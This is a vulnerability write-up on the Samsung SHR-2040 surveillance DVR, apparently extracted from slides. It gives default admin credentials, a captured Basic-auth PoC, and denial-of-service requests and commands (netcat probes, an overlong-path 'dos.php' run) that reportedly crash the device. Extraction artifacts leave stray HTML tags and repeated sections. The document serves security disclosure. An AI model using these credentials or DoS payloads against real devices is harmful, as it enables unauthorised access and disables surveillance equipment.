An Insecurity Overview of the Samsung DVR SHR-2040
An Insecurity Overview of the Samsung DVR SHR-2040
by Alex Hernandez
Date: 04.12.007 01:03:00 am
Reléase: 05.09.008 06:37:00 am
By Alex Hernandez
a h e r n a n d e z at s y b s e c u r i t y d o t c o m
Very special thanks to:
str0ke (milw0rm.com)
kf (digitalmunition.com)
Rathaus (beyondsecurity.com)
!dSR (segfault.es)
0dd (0dd.com)
and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55, pikah, codebreak, h3llfyr3, canit0
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+=============================================+==---==+
Technical details and Attacks
+==---==+=============================================+==---==+===================+==---==+ Digital Video Recorders +==---==+===================+==-DVRs are basically mini-PCs that allow a user to record TV broadcasts in a digital form via cable or DirectTV
transmissions (depending on the model), in digital form on a hard drive located inside the recorder. This allows for The
device is allowed to access the company’s server, which regularly downloads the program guides into the DVR via a
modem. Thius DVRs provides the same recording and time-shifting functions as a VCR, just in a different medium.
--==+========================+==---==+ DVR Operating System Details +==---==+========================+==-Software Version
Broadcast Format
Mac Address
B3.03E-K1.53-V2.19_0705281908
NTSC
00:16:6C:22:0F:72
version:
authority:
ddns:
mac:
model_name:
protocol_version:
B3.03E-K1.53-V2.19_0705281908
1203961644-01-03
samsung
00-16-6C-22-0F-72
SHR-2040
V1.0
--==+==================+==---==+ Login and User details +==---==+==================+==-Using the Smart Viewer
u: ADMIN p: 4321
u: USER p: 4321
--==+===============+==---==+ System Operation +==---==+===============+==-● Turn the power on and the following LOGO pops up on the screen.
● After the LOGO appears, all of LED in the front flickers 6 times to initialize the system for operation.
● Upon completion of normal initialization, the Live screen appears accompanying a beep sound.
● It requires 30 to 40 seconds until the Live screen appears
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+===================+==---==+ System Operation cont. +==---==+===================+==-Before Use
● Selection - The yellow cursor shows the current window. Use the key in the front to move the cursor on your
desirous menu. If you press the “Enter” key with the cursor clicking on your desirable menu, the system will enter the
new mode.
Press the “Enter” key to finish the selection. On seeing Drop Down Menu key to move the cursor on your desirable
menu.
● “OK” or “Cancel” in Menu Setup Window
Once changed, the new menu setup procedure will be finalized by pressing “OK”. Pressing “Cancel” will cancel the
new setup and return to the upper menu.
● Front “MENU” and “SEARCH” Button The MENU button or SEARCH button, if pressed first, acts as an entrance
button. Once entering, it reverses the page to the previous one.
● The “>” or “V” mark beside the title copies the line in the arrow direction to the value of the first line.
● The first page of the menu is structured as follows.
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An Insecurity Overview of the Samsung DVR SHR-2040
The figure 2.1 depicts the basic setup of an analog camera system and a network-based or the figure 2.2 depicts the
basic setup of the IP camera system. In the traditional analog CCTV application, security cameras capture an analog
video signal and transfer that signal over coax cable to the Digital Video Recorder (DVR).
Figure 2.1
Analog System
Figure 2.2
IP System
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+============================+==---==+ The Smart Viewer 2.0 for Pro DVR +==---==+============================+==--
Smart Viewer is a program that a general PC user is able to install SHR-2040/2041/2042 to his PC to monitor the video
and audio data in the real time through network without going to the site where SHR-2040/2041/2042 is installed.
● Thanks to the transmission of video data compressed by the MPEG-4 Video Compression method, it can play the
video images of good quality.
● Thanks to the G.726 Voice Compression method, it supplies the voice data of good quality. Use of armored MIC
improves the quality of remote voice.
● Thanks to the transmission of video/audio stream through RTP(Real-Time Transport Protocol), the real-time video
playback is excellent and multi-users’ simultaneous connection does not affect the transmission speed in whole
abruptly.
● Command & Control by RTSP(Real-Time Streaming Protocol) enables safety. control through the network.
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+===============+==---==+ Port and Services +==---==+===============+==-PORT
STATE SERVICE
554/tcp
555/tcp
556/tcp
557/tcp
open
open
open
open
rtsp
dsf
remotefs
openvms-sysipc
MAC Address: 00:16:6C:22:0F:72 (Samsung Electonics Digital Video System Division)
--==+===============================+==---==+ The threat Over the network corporate +==---==+===============================+==-GET /content_frame.htm?cgiName=system_disk&lang=en HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml,
application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Referer: http://$1$9hC8DmrL$8NG8i3pQXBabAKo.AIm8U.:12345@10.50.10.248:557/cgibin/left_menu?lang=en&topMenu=0
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET
CLR 3.0.04506.30)
Host: 10.50.10.248:557
Connection: Keep-Alive
Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==
HTTP/1.1 200 OK
Date: Sun Dec 9 23:51:37 2007
Server: GoAhead-Webs
Pragma: no-cache
Cache-Control: no-cache
Content-length: 1561
Content-type: text/html
<html>
<head>
<meta http-equiv="Pragma" CONTENT="No-Cache">
<title>System Setup</title>
<SCRIPT language="JavaScript" src="htmlCommon.js"></script>
</head>
<SCRIPT language="JavaScript">
document.write("<frameset rows='286,*' cols='*' frameborder='NO' border='0' framespacing='0'>");
//mainframe.. CGI ...... , lang.... ........ .... CGI.. .........
document.write(" <frame src='/cgi-bin/"+_cgiName+"?lang="+_lang+"' name='mainFrame' scrolling='auto' noresize
>");
// leftmenu.... CGI ...... system_info.... bottom.... apply, cancel ...... .... ......
// bottomFrame.. info_bottom.htm ...... ........ .....
if(_cgiName == "system_info"){./* no button */
.document.write(" <frame src='info_bottom.htm?lang="+_lang+"' name='bottomFrame' scrolling='NO' noresize>");
}else if(_cgiName == "sched_rec" || _cgiName == "sched_alarm"){./* add holiday button */
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An Insecurity Overview of the Samsung DVR SHR-2040
.document.write(" <frame src='bottom_sched.htm?lang="+_lang+"' name='bottomFrame' scrolling='NO' noresize>");
}
--==+===========================+==---==+ The Basic Authentication PoC (1) +==---==+===========================+==-GET /first.htm HTTP/1.1
Accept: */*
Referer: 10.50.10.248
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET
CLR 3.0.04506.30)
Host: 10.50.10.248:557
Connection: Keep-Alive
Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+===========================+==---==+ The Basic Authentication PoC (2) +==---==+===========================+==-GET /first.htm HTTP/1.1
Accept: */*
Referer: 10.50.10.248
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET
CLR 3.0.04506.30)
Host: 10.50.10.248:557
Connection: Keep-Alive
Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+===========================+==---==+ The Basic Authentication PoC (3) +==---==+===========================+==-GET /index_menu.htm?lang=en&topMenu=5 HTTP/1.1
Accept: */*
Referer: 10.50.10.248
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET
CLR 3.0.04506.30)
Host: 10.50.10.248:557
Connection: Keep-Alive
Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+===========================+==---==+ The Basic Authentication PoC (4) +==---==+===========================+==-GET /index_menu.htm?lang=en&topMenu=5 HTTP/1.1
Accept: */*
Referer: 10.50.10.248
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET
CLR 3.0.04506.30)
Host: 10.50.10.248:557
Connection: Keep-Alive
Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>
--==+================================+==---==+ Denial of service attack port (TCP 554) +==---==+================================+==-A denial-of-service attack (DoS attack) is an attempt to make a computer resource unavailable to its intended users.
Although the motives for a DoS attack may vary, it generally comprises the concerted, malevolent efforts of a person(s)
to prevent an Internet site or service from functioning temporarily or indefinitely.
C:\>nc -vvn 10.50.10.248 554
(UNKNOWN) [10.50.10.248] 554 (?) open nice open port without problem
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+=========================+==---==+ Denial of service attack PoC (4) +==---==+=========================+==-GET / HTTP/1.1
Accept: */*
Referer: 10.50.10.248
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET
CLR 3.0.04506.30)
Host: 10.50.10.248:554
Connection: Keep-Alive
Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>
----------------------------------------------------------------------------Usage: dos.php "host" "/path/" "times"
host:
path:
times:
target server (ip or hostname)
path of the file, including file and extension.
number of times to "download" the file.
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An Insecurity Overview of the Samsung DVR SHR-2040
C:\ >php -f dos.php "10.50.10.248"
"///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////" 100 crashed!!!
C:\>nc -vvn 10.50.10.248 554
(UNKNOWN) [10.50.10.248] 554 (?): connection refused
sent 0, rcvd 0: NOTSOCK
Successful Denial of Service attack
--==+================================+==---==+ Denial of service attack port (TCP 557) +==---==+================================+==-A denial-of-service attack (DoS attack) is an attempt to make a computer resource unavailable to its intended users.
Although the motives for a DoS attack may vary, it generally comprises the concerted, malevolent efforts of a person(s)
to prevent an Internet site or service from functioning temporarily or indefinitely.
$ cat dos.txt | nc -vvn 10.50.10.248 557
(UNKNOWN) [10.50.10.248] 557 (?) open
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An Insecurity Overview of the Samsung DVR SHR-2040
--==+==========================+==---==+ Denial of service attack PoC (5) +==---==+==========================+==-GET
/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x//x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x
/x/x/x/x/x/ HTTP/1.1
Accept: */*
Referer: http://$1$9hC8DmrL$8NG8i3pQXBabAKo.AIm8U.:12345@10.50.10.248:557
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET
CLR 3.0.04506.30)
Host: 10.50.10.248:557
Connection: Keep-Alive
Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==
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An Insecurity Overview of the Samsung DVR SHR-2040
alt3kx labs
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